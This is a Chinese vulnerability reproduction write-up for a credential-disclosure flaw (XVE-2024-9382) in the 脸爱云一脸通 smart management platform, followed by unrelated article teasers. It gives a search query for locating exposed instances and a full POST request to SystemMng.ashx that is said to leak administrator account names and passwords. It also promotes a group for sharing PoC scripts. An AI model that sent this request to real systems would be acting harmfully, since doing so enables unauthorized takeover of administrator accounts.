当前位置：首页 > news >正文

【漏洞复现】脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

news 2026/2/7 20:58:53

0x01 产品简介

脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。
功能包括:系统管理中心、人员信息管理中心、设备管理中心、消费管理子系统、订餐管理子系统、水控管理子系统、电控管理子系统、考勤管理子系统、门禁通道管理子系统、会议签到管理子系统、访客管理子系统。

0x02 漏洞概述

脸爱云一脸通智慧管理平台存在信息泄露漏洞，该漏洞源于SystemMng.ashx接口处存在信息泄露漏洞，攻击者能够利用该漏洞通过SelOperators参数泄露的当前管理员的敏感信息，包括账号密码登录系统后台。

0x03 搜索语法

body="View/UserReserved/UserReservedTest.aspx"

在这里插入图片描述

0x04 漏洞复现

POST /SystemMng.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeusername=admin&funcName=SelOperators

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

相关文章：

【漏洞复现】脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

0x01 产品简介脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。功能包括:系统管理中心、人员信息管理中心、设备…...

编程日记 2024/6/25 4:19:06

新手如何入门Web3？

一、什么是Web3？ Web3是指下一代互联网，它基于区块链技术，致力于将各种在线活动变得更加安全、透明和去中心化。Web3是一个广义的概念，涵盖了包括数字货币、去中心化应用、智能合约等在内的多个方面。它的主要特点包括去中心化、…...

编程日记 2024/6/25 4:17:03

React.FC`＜ChildComponentProps＞`解释

代码场景 ParentComponent.tsx import React, { useState } from react; import ChildComponent from ./ChildComponent;function ParentComponent() {const [childData, setChildData] useState<string>();const handleChildData (data: string) > { // 可以直接…...

编程日记 2024/6/25 4:15:01

2024-06-24力扣每日一题

链接： 503. 下一个更大元素 II 题意循环数组，找出每个元素的往后最近且大于它的元素解： 今天没试暴力啊，大概率是过不了的思路就是先找到最大的数，最大数的结果肯定是-1，然后倒着遍历数组&#xf…...

编程日记 2024/6/25 4:11:58

pyhon模块以及常用的第三方模块

import my_info as info print(info.name) info.show()from my_info import * print(name) show() pyhon中包的导入 import admin.my_admin as ad # 包名.模块名 admin是包名，my_admin是模块名print(ad.name) print(ad.info())from admin import my_admin as ad # …...

编程日记 2024/6/25 4:10:57

shell脚本—快速修改centos网络配置

shell-文本中自行修改想要的配置 #!/bin/bash# 网卡名称 eth"eth0"# IP 地址 ipaddr"192.168.1.100"# 子网掩码 netmask"255.255.255.0"# 网关 gateway"192.168.1.1"# 写入配置文件 echo "BOOTPROTOstatic" > /etc/sysc…...

编程日记 2024/6/25 4:09:56

线程池概念、线程池的不同创建方式、线程池的拒绝策略

文章目录 💐线程池概念以及什么是工厂模式💐标准库中的线程池💐什么是工厂模式？💐ThreadPoolExecutor💐模拟实现线程池 💐线程池概念以及什么是工厂模式线程的诞生是因为，频繁的创…...

编程日记 2024/6/25 4:04:50

示例:WPF中如何绑定ContextMenu和Menu

一、目的：开发过程中，有些模块的右键ContextMenu菜单是需要动态显示的，既是根据不同条件显示不同的菜单，很多是通过代码去生成ContextMenu的MenuItem，本文介绍通过绑定的方式去加载ContextMenu，Menu菜单栏的…...

编程日记 2024/6/25 4:03:49

区块链小故事

大灰狼与小白兔一天兔子妈妈出门了，在大门上安装了一个区块链的门把手，这个门把手只有兔子妈妈、小兔子、以及另一个客人都同意的时候，才会开门，有一天客人a的钥匙丢了，被大灰狼捡到了，大灰狼于是去开门&…...

编程日记 2024/6/25 4:00:46

Java | Leetcode Java题解之第167题两数之和II-输入有序数组

题目： 题解： class Solution {public int[] twoSum(int[] numbers, int target) {int low 0, high numbers.length - 1;while (low < high) {int sum numbers[low] numbers[high];if (sum target) {return new int[]{low 1, high 1};} else i…...

编程日记 2024/6/25 3:59:45

项目训练营第三天

项目训练营第三天注册登录测试前面我们编写了用户注册、登录的逻辑代码，每编写完一个功能模块之后，我们都要对该模块进行单元测试，来确保该功能模块的正确性。一般情况下使用快捷键Ctrl Shift Insert，鼠标左击类名可以自动生…...

编程日记 2024/6/25 3:57:41

计算机组成原理 | CPU子系统（1）基本概述

基本结构模型运算与缓存部件数据寄存部件 PSW不是很清楚存储器是什么？属于那个结构里？ 时序处理部件 cpu是大脑，控制器是神经元 ①通过硬件产生控制信号 ②通过软件产生控制信号外频（系统时钟信号），…...

编程日记 2024/6/25 3:54:33

无引擎游戏开发（2)：最简游戏框架 | EasyX制作井字棋小游戏I

一、EasyX中的坐标系不同于数理中的坐标系，EasyX中的y轴是竖直向下的二、渲染缓冲区之前的程序添加了这三个函数改善了绘图时闪烁的情况: 小球在"画布“上移动的过程就是我们在调用绘图函数，这个”画布“就是渲染缓冲区，先绘制的内…...

编程日记 2024/6/25 3:53:26

排书 IDA*

原题链接题目描述给定 n 本书，编号为 1∼n。在初始状态下，书是任意排列的。在每一次操作中，可以抽取其中连续的一段，再把这段插入到其他某个位置。我们的目标状态是把书按照 1∼n 的顺序依次排列。求最少需要多少次操作。输…...

编程日记 2024/6/25 3:51:23

playwright录制脚本原理

Paywright录制工具UI 在上一篇博客中介绍了如何从0构建一款具备录制UI测试的小工具。此篇博客将从源码层面上梳理playwright录制原理。当打开playwright vscode插件时，点击录制按钮，会开启一个新浏览器，如下图所示，在新开浏览器页…...

编程日记 2024/6/25 3:48:19

awk脚本监控

awk脚本监控使用脚本监控内存，cpu和硬盘的根目录，超过80%提示用户，写成函数库的行，每天早上的8.50分，执行一次脚本现在脚本中写需要的内容 cpuu () {aa$(top -b -n 1 |awk NR3 {printf "%.F",$2$4})if …...

编程日记 2024/6/25 3:45:03

Python高压电容导电体和水文椭圆微分

🎯要点 🎯二维热传导二阶偏微分方程 | 🎯调和函数和几何图曲率 | 🎯解潮汐波动方程 | 🎯解静止基态旋转球体流体运动函数 | 🎯水文空间插值 | 🎯流体流动模拟求解器 | 🎯随机算法解…...

编程日记 2024/6/25 3:44:01

微信小程序引入MiniProgram Design失败

这tm MiniProgramDesign 是我用过最垃圾的框架没有之一我按照官网的指示安装居然能安装不成功,牛! 这里说明我是用js开发的到以上步骤没有报错什么都没有,然后在引入组件的时候报错 Component is not found in path “./miniprogram _npm/vant/weapp/button/index” (using…...

编程日记 2024/6/25 3:39:57

Java 8 Date and Time API

Java 8引入了新的日期和时间API，位于java.time包下，旨在替代旧的java.util.Date和java.util.Calendar类。新API更为简洁，易于使用，并且与Joda-Time库的一些理念相吻合。以下是Java 8 Date and Time API中几个核心类的简要概述&…...

编程日记 2024/6/25 3:38:56

pyppeteer模块经常使用的功能，相关操作案例

官方仓库地址：https://github.com/miyakogi/pyppeteer 官方文档地址：API Reference — Pyppeteer 0.0.25 documentation Selenium环境的相关配置比较繁琐，此外，有的网站会对selenium和webdriver进行识别和反爬，因此在…...

编程日记 2024/6/25 3:36:54

[2025CVPR]DeepVideo-R1：基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈，在多个视频基准上实现SOTA性能一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度，导致：梯度抑制：当新旧策略差异过大时梯度消失收敛困难：策略无法充分优化# 传统GRPO的梯…...

编程新知 2025/8/19 23:46:57

PPT|230页| 制造集团企业供应链端到端的数字化解决方案：从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节，供应链协同管理在供应链上下游企业之间建立紧密的合作关系，通过信息共享、资源整合、业务协同等方式，实现供应链的全面管理和优化，提高供应链的效率和透明度，降低供应链的成…...

编程新知 2026/1/30 22:07:56

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现，这取决于你是想在组件内部直接设置，还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法： 1. 内联样式你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

编程新知 2026/2/4 20:47:44

根据万维钢·精英日课6的内容，使用AI（2025）可以参考以下方法：

根据万维钢精英日课6的内容，使用AI（2025）可以参考以下方法： 四个洞见模型已经比人聪明：以ChatGPT o3为代表的AI非常强大，能运用高级理论解释道理、引用最新学术论文，生成对顶尖科学家都有用的…...

编程新知 2026/1/10 1:08:51

智能分布式爬虫的数据处理流水线优化：基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天，数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具，在大规模数据获取中发挥着关键作用。然而，传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时，常出现数据质…...

编程新知 2026/2/6 1:04:23

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述本跑酷小游戏基于鸿蒙HarmonyOS 5开发，使用DevEco Studio作为开发工具，采用Java语言实现，包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

编程新知 2025/12/19 22:56:05

处理vxe-table 表尾数据是单独一个接口，表格tableData数据更新后，需要点击两下，表尾才是正确的

修改bug思路： 分别把 tabledata 和表尾相关数据 console.log() 发现更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行升级↑：async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

编程新知 2026/1/25 6:16:49

Python Einops库：深度学习中的张量操作革命

Einops（爱因斯坦操作库）就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库，用类似自然语言的表达式替代了晦涩的API调用，彻底改变了深度学习工程…...

编程新知 2025/10/16 12:04:52

Spring AI Chat Memory 实战指南：Local 与 JDBC 存储集成

一个面向 Java 开发者的 Sring-Ai 示例工程项目，该项目是一个 Spring AI 快速入门的样例工程项目，旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。项目采用模块化设计，每个模块都专注于特定的功能领域，便于学习和…...

编程新知 2025/10/16 14:46:22

系统掌握PyTorch：图解张量、Autograd、DataLoader、nn.Module与实战模型

本文较长，建议点赞收藏，以免遗失。更多AI大模型应用开发学习视频及资料，尽在聚客AI学院。本文通过代码驱动的方式，系统讲解PyTorch核心概念和实战技巧，涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...

编程新知 2026/1/30 6:05:30